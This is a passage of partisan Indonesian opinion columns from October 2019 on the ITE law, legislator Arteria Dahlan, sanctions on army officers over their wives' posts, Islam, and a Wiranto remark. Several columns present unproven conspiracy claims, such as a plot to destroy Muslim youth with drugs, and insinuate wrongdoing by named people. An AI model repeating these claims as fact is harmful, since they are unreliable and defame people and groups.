mereka bakal menghukum dengan cara yang selalu tipikal. Tetapi menariknya, negara-negara yang sedang melarat selalu didapati meratapi kepergian mereka. Kelompok ini, tidak bisa diharapkan bicara tentang hal-ihwal kemanusiaan. Mereka juga tidak bisa diharapkan bicara hukum yang tak pilih kasih. Itu tidak bisa. Tidak usah menggelengkan kepala, karena kelompok ini tidak bakal terusik pemilu yang acak kadul. Juga tak usah meminta mereka bicara kematian ratusan petugas PPS pada pemilu yang menghasilkan Pak Jokowi sebagai presiden terpilih. Mustahil meminta kelompok ini mendesak Pak Jokowi mengusut tuntas peristiwa memilukan itu. Jangan bermimpi mereka menantikan peradilan atas kasus-kasus itu. Sudahlah, itu lain perkara. Perkara menjijikan dalam konteks negara hukum demokratis adalah orang gila. Orang yang tiba-tiba muncul dan berulah ditengah musim pemilu. Jijik karena, entah bagaimana, mereka tahu orang hendak ke masjid, menyerang dalam kadar sebagai orang gila. Orang gila tak bisa dihukum, tentu saja. Jadilah seperti cerita fiksi politik dan hukum gila-gilaan. Berlalu, hilang begitu saja. Kenyataan ini muncul di tengah semua orang memimpikan negara ini harus memperbaiki moralitas berhukum. Impian itu seharusnya membawa negara semakin muncul dengan jaminan berkelas untuk rakyat memperoleh rasa aman. Sial, entah bagaimana, malah tercipta lagi fenomena lain. Negara menjadi begitu sangat terampil dan energik melaksanaan hukum dalam Undang-Undang ITE. Padahal Undang-Undang ini cukup menyengsarakan. Betul jangan main fitnah. Sebab fitnah itu lebih kejam dari pembunuhan. Fitnah itu juga pekerjaan orang-orang yang mati hatinya. Tak terasa putaran waktu pelaksanaan Undang-Undang ITE telah membawa negara hukum mengingkari moralitasnya sendiri. Nurani dan moralitas negara hukum demokratis tersingkir jauh. Negara hukum demokratis menjadi sangat angkuh. Terlalu kuat membentengi jalan pulang ke moralitas intinya. Politik terus berproses dalam negara hukum demokratis. Dalam tampilan empiris yang berubah, dan beralih menjadi negara hukum tak lagi demokratis. Setidaknya menjadi compang-camping. Terminologi penghinaan juga menjadi begitu jamak. Pernyataan tidak simpati terhadap satu peristiwa, apalagi ada korbannya, bisa bermakna “fitnah.” Setelah difitnah, lalu datanglah derita untuknya. Akan diterkam dalam Undang-Undang ITE. Membuat dan menyebarkan sebuah vidio berisi peristiwa yang belum terang hukumnya, bisa juga menghasilkan derita. Didatangi oleh kekuasaan yang namanya Undang-Undang ITE. Tampilan empiris negara hukum semakin terasa tak demokratis. Mengkristal dengan laju yang tidak biasanya. Demonstran terlihat menjadi musuh hukum. Boleh jadi paling berbahaya. Demonstran main keras, hukum main keras. Demonstran mesti luka-luka dan maaf, mati. Itu yang terjadi pada demo tolak hasil pemilu Mei lalu dan demo tolak RUU KPK akhir September kemarin. Sangat Susah Konstitusi tidak berubah. Itu sudah jelas. Tetapi meja politik sedang berubah drastis. DPR tak lagi terbelah. PAN dan PKS, dua partai ini jelas tidak bakal bisa mengubahnya. Pengambilan posisi sebagai oposisi, tidak bakal membawa mereka menjadi penantang. PAN dan PKS, saya cukup percaya, tidak bakal bisa menggoda kawan sebelah untuk main keras secara konstitusi mengubah hukum yang tak demokratis menjadi demokratis. Itu sangat tidak mungkin bisa terjadi. Rintangan politik yangbukan hukum, melampaui modal yang mereka punyai. Berat meminta negara hukum tak demokratis berubah menjadi negara hukum demokratis lima tahun akan datang. Unifikasi di tubuh DPR, tak memungkinkannya. DPR suka atau tidak, juga telah terunifikasi dengan pemerintah. Pengawasan mau disuarakan dari jalan? Negara hukum demokratis sekalipun selalu kaya menyediakan dalam gudang tersembunyinya begitu banyak cara menjinakan. Untuk front negara hukum modern – negara kesejahteraan- yang juga digariskan dalam UUD 9145, rakyat baru saja dikagetkan dengan Inpres kenaikan iuran BPJS. Tidak bisa berkelit. Ada sanksi menyertainya. Peserta BPJS tidak bisa apa-apa. Harus tunduk. Nantinya kalaupun tarif dasar listrik meminta untuk disesuaikan, rakyat pun hanya bisa menggerutu. Tetapi harus capat-cepat berhenti menggerutu. Apalagi menuangkan gerutuannya ke medsos. Ingat, ada monster yang setiap saat bisa dipakai pemerintah untuk mengejar mereka yang bergerutu di medsos. Monster itu bernama Undang-Undang ITE. Atas nama negara hukum dimasa depan, hukum akan ditempatkan pada rangking teratas di meja kebijakan pengelolaan semua soal negara ini. Negara bisa saja selalu benar. Rakyat benar? Nanti dulu. Bisakah negara dengan hukum seperti itu berpacu dalam percaturan beradab dan bermartabat memanusiakan rakyat? Itu soal yang paling rumit. Negara hukum tak demokratis bisa lebih angkuh memproduksi diskriminasi. Membebek pada pluralisme dan toleransi konyol khas Amerika. Lalu apa? Seperti Amerika dan Barat di sepanjang front kampanye pluralisme dan toleransi. Langit dan cuaca sosial politik lima tahun mendatang mungkin didominasi saja oleh streotipe-streotipe yang busuk. Streotipe-satreotipe tersebut bisa berupa anti pluralism, intoleran, radikal dan sejenisnya. Gerak kompleks politik dan ekonomi, seperti dituliskan dalam sejarah negara ini di tahun 1966, tentu di tengah kerumitan. Akan membawa negara hukum semakin tak demokratis. Semakin compang-camping. Hukum pada saatnya nanti tampil dengan moralitas rendahan. Keadilan menjadi sangat khas. Seperti barang bagus yang susah untuk didapat rakyat. Tragisnya, kondisi ini menjadi hal yang biasa-biasa saja. Tersaji sebagai takdir politik yang tak dapat dielakan. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Arteria Pernah Mengaku Takut Disadap

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Arteria Dahlan kembali "bikin ulah" dengan menyebut Prof. Emil Salim sebagai "sesat". Keruan saja, ucapannya itu mendapat hujatan netizen dengan menyebutnya "sombong" dan "tidak beradab". Nama politikus PDIP Arteria Dahlan mencuat pertama kali saat RDP Komisi III DPR dengan Jaksa Agung M. Prasetyo soal travel umroh bodong, Rabu (28/3/2018). “Yang dicari jangan kayak tadi bapak lakukan inventarisasi, pencegahannya, Pak,” katanya. “Ini Kementerian Agama bangsat, Pak, semuanya, Pak!” lanjut Arteria dengan nada tinggi. Reaksi atas pernyataan Arteria yang memaki Kementerian Agama dengan ucapan “bangsat” itupun diterima Menteri Agama Lukman Hakim Saifuddin. “Sejak sore tadi (kemarin) saya banyak sekali menerima ungkapan kemarahan dari jajaran Kemenag dari berbagai daerah atas adanya ungkapan tersebut,” ucapnya. Bahkan, ia sempat mempertanyakan kosakata bangsat oleh Arteria yang dialamatkan ke jajarannya. Lukman menyarankan Arteria untuk meminta maaf. “Saran saya, agar tak menimbulkan permasalahan yang makin rumit, sebaiknya yang bersangkutan bersedia menyampaikan permohonan maaf atas ungkapannya itu,” kata Lukman. Mengutip keterangan Lukman kepada detikcom, Kamis (28/3/2018), atas makian dari Arteria itu, Lukman mengaku menerima banyak pesan yang mengungkapkan kemarahan atas makian bangsat dari politikus PDIP tersebut. Lukman mempersilakan masyarakat menilai pengggunaan kosakata bangsat oleh Arteria pada pemerintah itu. “Silakan rakyat menilai sendiri pilihan kosakata yang digunakan oleh salah seorang wakilnya itu,” ujarnya. Reaksi datang dari Dewan Pengurus Wilayah Perkumpulan Guru Madrasah (DPW PGM) Indonesia Jabar. Melalui suratnya Nomor: 015/B/SEK DPW-PGM JBR/IV/2018, organisasi profesi guru Madrasah ini menyatakan keberatan dan tersinggung atas ucapan dari Arteria. “Ungkapan Saudara Arteria Dahlan tidak mencerminkan sikap, perilaku dan tutur kata yang mulia sebagai seorang anggota DPR RI yang seharusnya menjadi teladan masyarakat dan terhormat,” tulis Ketua Umum DPW PGM Indonesia Jabar H. Heri Purnama, MPd I. DPW PGM Indonesia Jabar meminta Arteria untuk menyampaikan secara terbuka di muka umum permintaan maaf kepada jajaran Kemenag dan semua lembaga binaan Kemenag di seluruh tanah air dan tidak mengulang kejadian yang sama. Arteria Dahlan adalah anggota DPR RI Fraksi PDIP asal Dapil VI Jatim. Lahir di Jakarta pada 7 Juli 1975, Arteria ini seorang pengacara dan pemilik Kantor Hukum Arteria Dahlan Lawyers. Arteria adalah Ketua Badan Bantuan Hukum dan Advokasi DPP PDIP. Ia menangani perkara pilkada calon-calon dari PDIP, antara lain Rieke Dyah Pitaloka dan Teten Masduki pada Pilkada Jabar 2013, AA Ngurah Puspayoga dan Pilkada Bali 2013 serta Effendi Simbolon dan Djumiran Abdi pada Pilkada Sumut 2013. Arteria dilantik menjadi Pejabat Antar Waktu (PAW) DPR-RI periode 2014-2019 pada 23 Maret 2015 menggantikan Djarot Syaiful Hidayat yang saat itu menjabat sebagai Wakil Gubernur DKI Jakarta mendampingi Gubernur DKI Jakarta Basuki Tjahja Purnama. Pada masa kerja 2014-2019 Arteria duduk di Komisi II yang membidangi Pemerintahan Dalam Negeri, Otonomi Daerah, Aparatur & Reformasi Birokrasi dan Kepemiluan. Arteria meniti karirnya di bidang hukum. Jejak digital mencatat, Arteria aktif berorganisasi di asosiasi pengacara dan menjabat sebagai Wakil Sekretaris Jenderal DPP Serikat Pengacara Indonesia (DPP SPI). Arteria juga aktif menjadi advokat di kasus-kasus dan organisasi yang sarat dengan konflik. Pada Pemilu Legislatif 2014, namanya tercatat sebagai salah satu dari sembilan caleg PDIP. Ia maju bersama Pramono Anung Wibowo, Djarot Saiful Hidayat, Eva Kusuma Sundari, Budi Yuwono, Rina Yuniarti, Erjik Bintoro, Marhaen Djumadi, dan Mistinah. Arteria Dahlan maju caleg PDIP Dapil Jatim VI. Saat itu, terdapat 9 kursi di dapil ini bakal diperebutkan 105 DPR RI. Dapil Jatim VI meliputi Kabupaten Tulungagung, Kota Kediri, Kota Blitar, Kabupaten Kediri, dan Kabupaten Blitar. Arteria baru “terpilih” setelah Djarot Saiful Hidayat meninggalkan Senayan menjadi Wakil Gubernur DKI Jakarta menggantikan Basuki Tjahaja Purnama yang dilantik Presiden Joko Widodo sebagai Gubernur DKI Jakarta “warisan” Jokowi. Dari 105 caleg di Dapil Jatim VI ini, 51 orang berdomisili di wilayah Jakarta, Bogor, Depok, Tangerang, dan Bekasi. Arteria, termasuk salah satu caleg yang bukan berasal dari Dapil Jatim VI. Berbeda dengan Djarot yang pernah menjabat Walikota Blitar. Sejak menjadi anggota DPR RI, Arteria mulai menunjukkan “sikap kritis” sebagai legislator. Salah satunya, mengkritisi institusi KPK ketika di-Pansus-kan pada 2017 lalu yang masa kerja Pansus Angket DPR atas KPK selesai pada 28 September 2017. Kompas.com menulis, di akhir masa kerja, Pansus Angket tak lagi mengkritisi institusi KPK sebagai lembaga penegak hukum. Pansus Angket KPK saat itu malah menuduh Ketua KPK Agus Rahardjo terindikasi korupsi. Menurut mereka, Agus diduga terlibat dalam kasus korupsi saat menjabat sebagai Ketua Lembaga Kebijakan Pengadaan Barang/Jasa Pemerintah (LKPP). Hal itu dikatakan dalam konferensi pers Pansus DPR di Hotel Santika, Jakarta, Rabu (20/9/2017). “Kami temukan indikasi penyimpangan di internal LKPP yang saat itu pimpinannya adalah Agus Rahardjo,” ujar Arteria. Agus diduga terlibat korupsi pengadaan alat berat penunjang perbaikan jalan pada Dinas Bina Marga di Provinsi DKI Jakarta, pada 2015. Suara vokal Arteria Dahlan saat menjadi anggota Pansus KPK itulah yang membuat namanya “terkenal”. Terakhir, dengan bahasa “bangsat”, ia mengkritisi Kemenag terkait travel “umrah bodong”. Sayangnya, Arteria tidak berani bangsatin KPK. Mungkinkah Arteria takut pada KPK jika ia harus ucapkan kosakata “bangsat” pada lembaga antirasuah itu? Mengapa ia begitu gethol menolak kewenangan penyadapan yang dimiliki KPK? Jejak digital mencatat, Arteria pernah mengaku takut disadap KPK. Mungkin karena latar belakangnya sebagai seorang pengacara itulah yang membuat perilaku dan bahasa Arteria terbiasa melontarkan umpatan seperti “bangsat”. Ketika RDP Arteria bisa bertindak layaknya hakim di pengadilan yang “mengadili” pejabat pemerintah. Kompas.com, Selasa (26/09/2017, 16:56 WIB) menulis “ketakutan” itu. Ia khawatir dengan kewenangan penyadapan yang dimiliki KPK. Arteria minta KPK bisa membeberkan secara gamblang prosedur dan mekanisme penyadapan yang dilakukan selama ini. Tidak sulit telusur latar belakang mengapa politisi PDIP Arteria Dahlan begitu gethol serang KPK dan terakhir, Prof. Emil Salim, mantan Menteri LH era Presiden Soeharto, dengan kata “sesat”. Dari jejak digital news, Arteria pernah mengaku takut disadap KPK! “Kapan instruksi sadap dilakukan, kapan memberikan alat sadap, alat sadap (itu) kan terbatas alatnya, kapan mereka melakukan penyadapan, terus atas dasar apa,” kata Arteria dalam rapat Komisi III DPR RI dengan KPK di Jakarta, Selasa (26/9/2017). Menurutnya, jika tidak dijelaskan secara detail, maka akan muncul anggapan bahwa seolah-olah ada penyadapan yang sah sebagaimana diatur Undang-undang dan penyadapan yang tidak sah. “Jangan sampai ini kita pikir ada penyadapan yang sah dan tidak sah,” kata politisi yang baru terpilih menjadi anggota DPR RI itu. Arteria mengaku takut menjadi korban penyadapan, jika benar ada penyadapan yang tidak sah. Apalagi KPK akhir-akhir gencar melakukan OTT. “Takut kita. Jangan-jangan saya disadap. Kita enggak tahu melalui yang tidak resmi (sah),” ujar Arteria. Selain dia, beberapa anggota Komisi III lainnya juga kembali menyoal kewenangan penyadapan yang dilakukan KPK. Masalah penyadapan ini selalu dipermasalahkan dari waktu ke waktu. Berkali-kali pula KPK menyatakan bahwa penyadapan selama ini sah dan telah diaudit. Wakil Ketua KPK Laode M. Syarief sebelumnya merasa heran dengan sikap para anggota Dewan itu. Padahal, kata Laode, semua lembaga penegak hukum memiliki kewenangan penyadapan. Ia mengatakan, putusan MK atas Pasal 5 Undang-Undang ITE terkait penyadapan tidak serta-merta menghilangkan kewenangan penyadapan yang dimiliki KPK. Menurutnya, KPK tetap membutuhkan kewenangan penyadapan dalam memberantas korupsi. Sebab, lanjut Laode, kewenangan penyadapan seperti di KPK juga dimiliki oleh lembaga pemberantasan korupsi di hampir semua negara. Ia pun menegaskan, KPK selalu melakukan penyadapan sesuai dengan aturan yang berlaku. KPK juga tidak pernah menyebarkan hasil sadapan ke publik, kecuali yang terkait perkara dan didengarkan di pengadilan. Laode mengungkapkan, hasil penyadapan ini hanya berhubungan dengan kasus-kasus. Jadi, “Siapa yang mendengarkan ya hanya penyelidik dan penyidik KPK dan ketika disampaikan di pengadilan,” tegasnya. Jadi, jelas sekali, mengapa Arteria ikut andil “serang” KPK. Adakah yang disembunyikan Arteria sehingga “takut” disadap KPK? ***

Kolonel Hendi Suhendi : Prajurit, Suami & Ayah Sejati

Sebagai seorang ayah, kelak anak-anak sang Kolonel Hendi akan tahu bahwa ayahnya adalah seorang prajurit sejati. Suami sejati dan sang ayah sejati. Sejarah akan mengungkap, bahwa ayahnya bukan seorang pengkhianat negara. Oleh Nasrudin Joha Jakarta, FNN - Akhirnya, Kolonel Kav Hendi Suhendi resmi dicopot dari jabatan Dandim 147/Kendari, Sultra. Kolonel Hendi menerima keputusan pencopotan jabatan karena postingan sang istri soal penusukan Wiranto. Sebagai seorang prajurit sejati, sang Kolonel siap salah. Sebab doktrin prajurit itu, komandan tidak pernah salah. Sebagai prajurit, sikap legawa yang ditunjukan, menggambarkan betapa dia mampu menjaga marwah dan wibawanya sebagai seorang prajurit. Menjaga wibawa institusi TNI. Padahal Kolonel Hendi diperlakukan tidak adil. Dipaksa menanggung beban atas kesalahan yang tidak diperbuatnya sendiri. Diperhinakan marwahnya sebagai perwira TNI. Sebagai seorang calon jendral TNI. Karena putusan sanksi diumumkan secara terbuka dihadapan public oleh komandannya. Bahkan, Kolonel Hendi menanggung beban tanggungjawab atas perbuatan sang istri yang belum bisa dibuktikan kesalahannya. Belum ada penyelidikan. Belum juga ada penyidikan. Belum ada pembuktian secara hokum atas kesalahan yang diperbuat. Belum juga ada putusan hakim yang menyatakan Kolonel Hendi bersalah. Toh dia telah menanggung konsekuensi hokum yang berat di rezim Jokowi. Dimana asas praduga tak bersalah itu hanya berlaku bagi mereka yang pro kepada penguasa saja. Sebagai suami sejati, dia sanggup 'MIKUL DUWUR MENDEM JERO'. Dia begitu melindungi sang istri. Belahan jiwanya, dan ibu dari anak-anaknya. Ia merangkul sang istri, memperlakukannya selayaknya istri. Tidak terbesit rasa marah dan kesal, atas musibah yang menimpanya. Hari-harinya Kolonel Hendi harus dihabiskan di jeruji besi untuk masa tahanan selama 14 hari ke depan. Sang Kolonel juga harus mempersiapkan ketangguhan mental sang istri untuk menghadapi ujian diperkarakan oleh komandan sang Kolonel di peradilan umum nanti. Nampaknya, komandan sang Kolonel ini tidak cukup puas hanya dengan melihat dirinya masuk sel selama 14 hari. Tetapi sang komandan juga ingin melihat istri dari sang Kolonel masuk bui. Sebagai seorang ayah, kelak anak-anak sang Kolonel Hadi ini akan tahu bahwa ayahnya adalah seorang prajurit sejati. Suami sejati dan sang ayah sejati. Sejarah akan mengungkap, bahwa ayahnya bukan seorang pengkhianat negara. Tak mudah untuk bersikap kesatria. Apalagi dalam kubangan kekuasaan zalim di era Jokowi. Semua kritik terhadap rezim ditafsirkan kebencian, ditafsirkan SARA, dan ditafsirkan hoax. Sementara kedunguan akut yang menopang rezim, dianggap Pancasilais dan berbhineka tunggal ika. Secara zahir memang berat. Sangat berat untuk melepaskan jabatan jika tidak atas kesadaran karena amanah. Bagi sebagian besar orang saat ini, jabatan adalah tuhan baru yang dipuja-puja. Jabatan juga dikejar dengan menghalalkan segala cara. Suara pembelaan umat dan rakyat kepada Kolonel Hadi nyaring dank eras. Internal TNI, secara umum jelas akan berpihak pada kebenaran dan sikap kesatria Kolonel Hadi. Namun kekuasan saat ini sedang mengintensifkan represifme untuk memaksa rakyat memberikan ketaatan pada rezim. Rezim ini tak peduli. Apakah ditaati karena cinta, atau terpaksa taat karena takut. Yang penting bagi rezim ini adalah rakyat diam. Rakyat tidak ribut, dan nurut saja meskipun terus dizalimi. Sabar Pak Kolonel, karakter anda telah menujukan pribadi seorang calon jenderal sejati. Semoga, ujian ini tak mengurangi apapun kecuali menambah iman dan naiknya derajat anda sekeluarga, Amin amin amin ya robbal ‘alamain. Penulis adalah Wartawan Senior

Pak KASAD, TNI Bukan Alat Kekuasaan Loh

Suasana kebatinan TNI itu sama dan senapas dengan suara rakyat. Kalau terasa ada yang salah, pasti rakyat juga ikut merasakan. Kaum emak, termasuk istri tentara itu juga manusia biasa. Isteri tentara itu bukan robot. Mereka juga memiliki pikiran dan perasaan. Wajar saja mereka bersuara atas adanya anomali yang terjadi di negeri ini. Oleh Nasrudin Joha Jakarta, FNN - Miris, institusi TNI juga ikut-ikutan 'terpapar' kedunguan rezim. Padahal, publik berharap TNI masih bisa mengayomi rakyat. Apalagi setelah polisi terbukti 'gagal' menjalankan fungsinya sebagai pengayong pelayan dan pelindung masyarakat sipil. Belum lama ini, KSAD Jenderal Andika Perkasa menjatuhkan sanksi kepada dua anggota TNI AD. Keduanya dihukum karena istri mereka mem-posting soal penusukan Menko Polhukam Wiranto di media sosial. Sederhananya, dua anggota TNI ini dihukum hanya karena 'gosipan' emak-emak. Terlepas apapun konten yang diunggah, cara menghukum yang dipublikasikan terbuka kepada publik, bukanlah cara untuk mendidik, membina, dan menjaga marwah bawahan. Jika benar harus dihukum, tentu hukuman itu khusus untuk diketahui internal. Celakanya, hukumannya pun double pula Pak KASAD. Selain dicabut dari jabatan, dua anggota TNI berpangkat Kolonel dan Sersan ini juga disanksi sel 14 hari. Bahkan, tidak puas dengan sanksi internal, IPDN yang merupakan istri Komandan Kodim Kendari Kolonel HS dan LZ istri Sersan Dua berinisial Z, juga diarahkan ke ranah peradilan umum. Apakah seperti ini perilaku komandan terhadap anak buahnya? Mendapat masalah dari luar saja, komandan sedapat mungkin menjaga dan melindungi marwah anggotanya. Komandan juga sekaligus memberi arahan dan pembinaan. Bukan main langsung copot, terus dimasukan ke dalam sel. Setelah itu istrinya dibawa ke pengadilan umum. Apa yang mau dipertontonkan dari peristiwa ini ? Mau menebar teror kepada seluruh korps TNI agar menutup mulut atas semua keanehan di negeri ini ? Lantas, jika 'urusan gosip' saja dikenai sanksi, bagaimana dengan kondisi di Papua ? Apa tidak cukup alasan untuk dicopot petinggi AD disana ? Karena mereka dipandang 'gagal' mengamankan wilayah ? Pak KASAD, cukup penglima TNI saja yang tak paham tupoksi TNI. Sehingga berdiri dengan gagah, berdeklamasi untuk melindungi Jokowi. Saya ingatkan saja, TNI itu milik rakyat bukan milik Jokowi. TNI itu alat negara, bukan alat kekuasaan. Lantas, jika model penindakan anggota seperti ini apa Pak KASAD akan dicintai bawahan ? Prajurit itu kalau bertugas 'Toh Nyowo', taruhan nyawa boss. Jangan hanya karena urusan 'gosip emak-emak', lantas komandan tega menunjukan sikap jemawa. Suasana kebatinan TNI itu sama dan senapas dengan suara rakyat. Kalau terasa ada yang salah, pasti mereka juga ikut merasakan. Kaum emak, termasuk istri tentara itu juga manusia biasa. Isteri tentara itu bukan robot. Mereka juga memiliki pikiran dan perasaan. Wajar saja mereka bersuara atas adanya anomali yang terjadi di negeri ini. Kalaupun itu melanggar, juga cukup diingatkan saja. Tidak perlu langsung mencopot jabatan suami. Penjarakan suami, dan tuntut emak-emak istri tentara ke peradilan umum. Coba fikirkan, istri anggota TNI diperkarakan di ranah peradilan umum, hanya karena dipersoalkan oleh komandan suaminya. Ini kan miris sekali Pak KASAD. Pak KASAD. Banyak senior bapak yang gemas, tatapi masih menahan diri. Jangan paksa, rasa tidak ridho untuk dizalimi itu meledak menjadi aksi nyata. Teraktualisasi dalam bentuk tindakan. Terukurlah, dan pakai nurani TNI dan rakyat dalam mengambil tindakan. Tidak semua apa yang diinginkan penguasa, harus anda penuhi. Meskipun posisi anda saat ini juga hadiah dari penguasa. Ingatlah, bagaimana susah payah anda meniti karier di militer. Kalau anggota TNI diberikan sanksi karena berbuat salah itu akan terima. Tapi kalau disanksi karena tendensi, disanksi karena politik itu berbahaya. Apalagi anda berikan sanksi karena ingin menyuarakan nurani. Itu lebih berbahaya lagi Pak KASAD. Sekali lagi, kami segenap rakyat mendukung TNI. Kami mencintai TNI sebagai anak kandung rakyat. Kami juga berharap, agar TNI tetap berpihak kepada rakyat. Ingat, TNI itu lahir dan dibesarkan dari rahim umat dan rakyat. Karena itu, jangan mendurhakai umat dan rakyat Pak KASAD. Penulis adalah Wartawan Senior

Hati-hati, Islam Itu Milik Allah Subhanahuwata'ala

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Saya yakin Anda mengamatinya dengan saksama. Sedang ada upaya untuk memojokkan Islam dan umat Islam. Khususnya umat Islam garis lurus. Ada konspirasi untuk menjelek-jelekkan umat Islam. Yang bertujuan agar umat Islam merasa risih dengan Islam. Mereka rekayasa berbagai peristiwa yang membuat persepsi tentang Islam menjadi buruk. Islam akan dilihat radikal. Ektrem. Suka tindak kekerasan. Tidak toleran. Sangar, dlsb. Sejalan dengan rekayasa persepsi negatif itu, mereka berupaya melakukan desain ulang Islam. Membolak-balik ajaran Islam dengan kedok naskah akademik. Menerbitkan buku-buku ilmiah populer yang menyesatkan dengan bungkus Islam sejuk. Mereka ingin melihat umat Islam yang ‘compatible’ (bisa cocok) dengan segala macam budaya dan syahwat kemanusiaan. Yaitu, umat Islam yang toleran. Sehingga, tidak ada lagi “bagiku agamaku, bagimu agamamu”. Mereka ingin sekali menciptakan kondisi “agamaku adalah agamamu, agamamu adalah agamaku juga”. Ini yang mereka sebut toleransi. Umat Islam tidak lagi beridentitas. Umat Islam harus seperti mereka. Mereka ingin agar umat Islam di masa depan tidak lagi menutup aurat. Tidak lagi sholat. Tidak lagi hirau dengan halal-haram. Tidak lagi mengenal pernikahan, dlsb. Mungkinkah konspirasi kalian akan sampai ke titik ini? Itu sepenuhnya tergantung pada kehendak Allah SWT. Yang pasti, seperti dijanjikan Allah, Dia sendirilah yang langsung menjaga Islam. Allah mengatakan, Dia rihdo (suka, senang, rela) kepada Islam. Karena ridho kepada Islam, tentulah Allah juga ridho kepada umat Islam. Oleh sebab itu, Allah pasti juga akan menjaga dan melindungi umat Islam. Seperti dijudulkan di atas, hamba-sahaya hanya ingin menyampaikan kepada semua orang, baik yang mengimani al-Quran maupun yang tidak, bahwa Islam itu milik Allah SWT. Bukan milik para ustad. Bukan juga milik para ulama. So, be careful. Hati-hatilah. Be thoughtful. Renungkanlah. Nah, pesannya apa? Pesannya sangat jelas dan lantang. Yaitu, mau kalian buat apa pun terhadap Islam, kalian akan berhadapan langsung dengan Allah SWT. Bukan berhadapan dengan para ulama. Juga bukan para ustad atau kiyai yang akan menghadang kalian. Tapi, Allah langsung. Mereka ini, para ulama, ustad, kiyai, bisa saja kalian habisi. Jika Allah izinkan. Tapi, mungkinkah cahaya Islam kalian padamkan? Mustahil itu. Allah berjanji bahwa itu pasti tidak bisa kalian lakukan. Kalian bisa mencoba macam-macam cara untuk mereduksi Islam. Tapi, Allah “terlanjur” bersumpah bahwa dia tidak akan membiarkan usaha kalian berhasil. Malahan, Allah menegaskan bahwa Dia akan menyempurnakan cahaya itu walaupun kalian lawan sekeras-kerasnya. Sekarang, kalian lakukan segala macam upaya untuk merusak Islam dan umat Islam. Ada kampanye sitgmatisasi negatif seperti membingkai orang Islam sebagai pelaku terorisme. Islam radikal, ekstremis, intoleran, dll. Termasuk juga upaya untuk menjadikan kalimat Tauhid sebagai momok yang harus dijauhi oleh orang Islam. Dengan berbagai cara, kalian berusaha agar kalimat Tauhid tidak lagi diusung. Tidak lagi diteriakkan. Terus, ada pengekangan dakwah seperti pembubaran pengajian, daftar ustad radikal, larangan mengundang ustad-ustad garis lurus, intimidasi, dll. Kalian lakukan juga upaya penyempitan edukasi Islam, termasuk penghapusan cerita-cerita perang jihad di zaman Rasulullah SAW dari buku sejarah Islam. Lalu, ada yang mencoba menyelipkan pesan-pesan pluralisme lewat buku bacaan untuk anak sekolah atau bacaan umum. Dan banyak lagi cara lainnya. Bahkan ada cara yang keji, yang sangat kotor. Termasuk, patut diduga, skenario penghancuran generasi muda Islam melalui pengedaran narkotika. Banyak yang menjadi pemakai narkoba .Penghancuran akhlak melalui inseminasi gaya hidup bebas. Ada pula upaya pengajaran konsep Islam Nusantara. Tujuannya agar kaum muslimin di Indonesia mempraktekkan Islam dengan konten dan kemasan lokal. Kalian dukung para propagandis yang menyampaikan berbagai narasi keliru tentang Islam. Sampai ada liberalis yang berani mengatakan bahwa hafiz (penghafal) al-Quran itu tidak lagi diperlukan karena sekarang sudah banyak alat bantu digital. Ada pula yang berani membuat thesis doktoral bahwa perzinahan tidak haram. Sedikit-banyak, kerusakan akibat skenario kalian itu memang terjadi juga. Banyak orang Islam yang tak suka Islam garis lurus. Banyak yang memakai identitas liberal. Hidup bebas seperti yang kalian ajarkan. Mengamalkan seks sejenis atau hidup bersama pasangan berkelamin sama. Banyak juga yang termakan oleh propaganda kalian. Di front lain, kalian juga sangat aktif mempersekusi dan mengkriminalisasikan para ulama, ustad, kiyai, maupun habaib. Karena mereka ini pengawal Islam. Kalau mereka dikurung di penjara, maka Islam akan berhenti bersinar. Mereka ketakutan. Sehingga umat menjadi lemah. Begitulah sangkaan kalian. Bisakah ini terjadi? Bisa, kalau Allah izinkan. Untuk kalian pahami, umat Islam dan para ulama serta ustad hanyalah pion-pion Allah saja. Mereka itu bidak-bidak lemah. Bisa dijebloskan ke penjara setiap saat sesuai keinginan kalian. Tapi, ingat! Allah bisa bikin umat Islam dan para ulama yang sangat lemah itu menjadi sangat kuat. Allah berkuasa untuk itu. Konsep, rencana dan strategi kalian, bisa berbalik. Allah telah berjanji tentang itu. Allah berjanji akan menghancurkan kalian. Sebagaimana Dia hancurkan musuh-musuh-Nya terdahulu. Jadi, kalau ada niat kalian untuk membendung, mengerdilkan, mereduksi atau menjelek-jelekkan Islam, urusannya pasti langsung ke langit. Sebab, Islam itu milik Allah Subhanahu wa Ta’alaa. Hati-hatilah! [] 13 Oktober 2019

Pernyataan Wiranto Yang Mengiris Luka di Atas Duka

Tulisan ini tidak ada kaitannya dengan berita penusukan Wiranto di Banten. Karena tulisan ini dibuat dab sudah direalase secara meluas empat hari sevrlumnya (6 Oktober 2019). Penjelasan ini perlu disampaikan karena banyak pembaca yang mempertanyakan serta mengaitkannya dengan insiden di Banten itu. Terima kasih Oleh Jacob Ereste Jakarta, FNN - Pernyataan yang dikatakan tidak sengaja oleh Wiranto dalam kapasitasnya sebagai publik figur mengiris luka. Pejabat publik yang seharusnya paling perduli dan kompeten pada masalah bencana. Sungguh amat sangat melukai rasa duka kemanusiaan. Pernyataan Wiranto yang mengatakan bahwa saudara kita yang tengah didera oleh bencana alam di Maluku itu sepatutnya mendapat perhatian. Seharusnya pertolongan hingga bantuan dalam bentuk apa saja. Petolongan yang dapat diberikan agar derita yang sedang mereka rasakan bisa ikut kita ringankan. Jika tidak bisa berbuat apa-apa untuk mereka, setidaknya jangan lagi menambah beban psikologis. Yang bisa melemahkan daya juang dan daya tahan mereka untuk tetap tabah dan bertahan. Yang bisa membuat mereka tegar mengatasi musibah yang sedang dialami sampai sekarang. Pernyataan dalam konfrensi pers termasuk rilis atau bahkan wawancara dengan Wiranto itu sulit untuk dicerna akal sehat. Sebagai pernyataan yang tidak disengaja. Sehingga dengan begitu bisakah pernyataan Wiranto itu dimaafkan? Torehan yang telah melukai luka duka. Yang sedang mereka rasakan akibat bencaba alam itu sungguh tidak patut diucapkan oleh seorang pejabat selevel Menkopolhukam. Pernyataan tersebut sungguh sangat sulit untuk dimaafkan. Permintaan maaf Wiranto usai menyebut pengungsi Maluku yang sedang dilanda bencaba itu menjadi beban bagi pemerintah. Penyataan tersebut tidak cuma mengesankan yang enggan dari pihak pemerintah untuk memberi bantuan. Tetapi juga seperti hendak melepas tanggung jawab sebagaimana jaminan yang jelas tertera dalam kesepakatan serta keyakinan kita pada UUD 1945 yang asli. Pengungsi Maluku itu harus dan wajib menjadi perhatian negara. Suatu kepedulian kita sebagai 